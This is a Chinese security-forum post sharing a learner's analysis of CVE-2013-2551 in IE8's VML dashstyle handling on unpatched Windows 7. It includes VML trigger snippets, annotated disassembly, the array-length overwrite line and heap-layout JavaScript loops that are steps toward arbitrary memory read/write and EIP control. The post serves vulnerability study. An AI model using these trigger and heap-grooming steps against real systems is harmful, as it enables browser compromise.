中秋佳节,首先祝大家中秋快乐阖家欢!一个人的中秋也是醉了,所有就来看雪发帖啦啦啦!
概述:
漏洞:cve-2013-2551
环境:win7 sp1 无补丁
主要内容:任意地址读写,泄露DLL基址绕过ALSR,控制EIP
这篇分析(再分析)是小弟我学习漏洞分析过程中的心得体会,拿来与和我一样喜欢网络安全的同学分享一下
行文简陋,如有不对的地方还望大神们多多指教!
附件为分析文章,已转换为PDF,在这里就不贴出来啦!
如果大家想在线看原文的话,也可以访问这里:http://blogs.360.cn/360safe/2014/09/04/advanced-exploitation-technology-analyze/
Advanced Exploitation Technology-Analyze
作者:tedjoy
微博:http://weibo.com/u/2728536082
自我介绍:
作为安全界的新人+菜鸟,最近一直在学习分析各种漏洞利用技巧,所以便有了下文。主要是为了给自己留下个总结,同时也可以跟像我一样对网络安全感兴趣的同学分享下自己的学习心得!本人才疏学浅,若有不对的地方还望大神们多多指教,再此感激不尽!
概述:
漏洞:cve-2013-2551
系统:win7 + IE8 无补丁
主要内容:分析如何绕过ASLR,泄露MSVCRT.DLL基址;控制EIP
我们废话少说,开始正题
漏洞成因简述:
该漏洞是国外“网络军火商”VUPEN发现的,并在2013年的Pwn2Own上用来攻克win8 + IE10,可以在这里查看VUPEN的blog,可以在这里下载4B5F5F4B大牛分享的poc。
先在这里简单分析下漏洞成因,具体的大家可以去VUPEN的blog自己看看。
VML实现了很多形状标签的子元素,其中有一个 Stroke 子元素就是有问题的元素,它有个 dashstyle的属性,我们可以对该属性赋值,代码如下:
<v:oval>
<v:stroke dashstyle=”2 2 2 0 2 2 2 0″/>
</v:oval>
<v:oval>
<v:stroke id=”vml1″>
</v:oval>
var vml1 = document.getElementById(“vml1″);
vml1.dashstyle = “11 12 13 15″;
vml1.dashstyle = “11 12 13 15″;
.text:00485BAD; struct COALineDashStyle *__thiscall COAShapeProg::GetOALineDashStyle()
.text:00485BAD mov edi, edi
……
.text:00485BBE push 101h ; int
.text:00485BC3 push 10h ; Size
.text:00485BC5 call operator new(uint,int)
.text:00485BCA test eax, eax
.text:00485BCC pop ecx
.text:00485BCD pop ecx
.text:00485BCE jz short loc_485BDD
.text:00485BD0 push [ebp+arg_0] ; struct IInternalPeer *
.text:00485BD3 mov ecx, eax ; this
.text:00485BD5 push esi ; struct COAShapeProg *
.text:00485BD6 call COALineDashStyle::COALineDashStyle()
.text:00488C5E ; __int32 __stdcall COALineDashStyle::get_array()
.text:00488C5E mov edi, edi
.text:00488C60 push ebp
……
.text:00488CCB :
.text:00488CCB mov ecx, [esi+4] ; this
.text:00488CCE push edi ; struct IInternalPeer *
.text:00488CCF call COAShapeProg::GetOALineDashStyleArray()
.text:0047D779 ; __int32 __stdcall COALineDashStyle::get_presetStyle()
.text:00485BF5 mov edi, edi
.text:00485BF7 push ebp
.text:00485BF8 mov ebp, esp
……
.text:00485C06 push 101h ; int
.text:00485C0B push 10h ; Size
.text:00485C0D call operator new(uint,int)
.text:00485C12 test eax, eax
.text:00485C14 pop ecx
.text:00485C15 pop ecx
.text:00485C16 jz short loc_485C25
.text:00485C18 push [ebp+arg_0]
.text:00485C1B mov ecx, eax
.text:00485C1D push esi
.text:00485C1E call COALineDashStyleArray::COALineDashStyleArray()
vml1.dashstyle.array.length = 0 – 1;
.text:0047DB3E call dword ptr [eax] ; 返回 ORG对象的地址
.text:0047DB40 mov eax, [ebp+this] ; eax 指向ORG对象
.text:0047DB43 test eax, eax
.text:0047DB45 jz short loc_47DBB8
.text:0047DB47 mov ecx, [eax]
.text:0047DB49 push eax
.text:0047DB4A call dword ptr [ecx+2Ch] ; 返回数组的长度
.text:0047DB4D mov esi, [ebp+length]
.text:0047DB50 cmp eax, esi ; eax=ORG数组对象的长度,esi=要赋值的新长度0xFFFFFFFF
.text:0047DB52 jge short loc_47DBA9 ;跳走触发bug,不跳就会开辟新空间扩展数组
.text:0047DB54 push 101h ; int
.text:0047DB59 sub esi, eax
.text:0047DB5B xor ecx, ecx
.text:0047DB5D push 4
.text:0047DB5F pop edx
.text:0047DB60 mov eax, esi
.text:0047DB62 mul edx
.text:0047DB64 seto cl
.text:0047DB67 neg ecx
.text:0047DB69 or ecx, eax
.text:0047DB6B push ecx ; Size
.text:0047DB6C operator new(uint,int)
……
.text:0047DBA9 loc_47DBA9:
.text:0047DBA9 mov ecx, [ebp+this]
.text:0047DBAC mov edx, [ecx]
.text:0047DBAE sub eax, esi
.text:0047DBB0 push eax
.text:0047DBB1 push esi
.text:0047DBB2 push ecx
.text:0047DBB3 call dword ptr [edx+28h] ; 未开辟空间,直接修改长度
for (var i = 0; i < 0×1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
if (i == 0xb00 ) {
vml1.dashstyle = “11 12 13 15″;
};
}
for (var i = 0; i < 0×1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
}
vml1.dashstyle = “11 12 13 15″;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!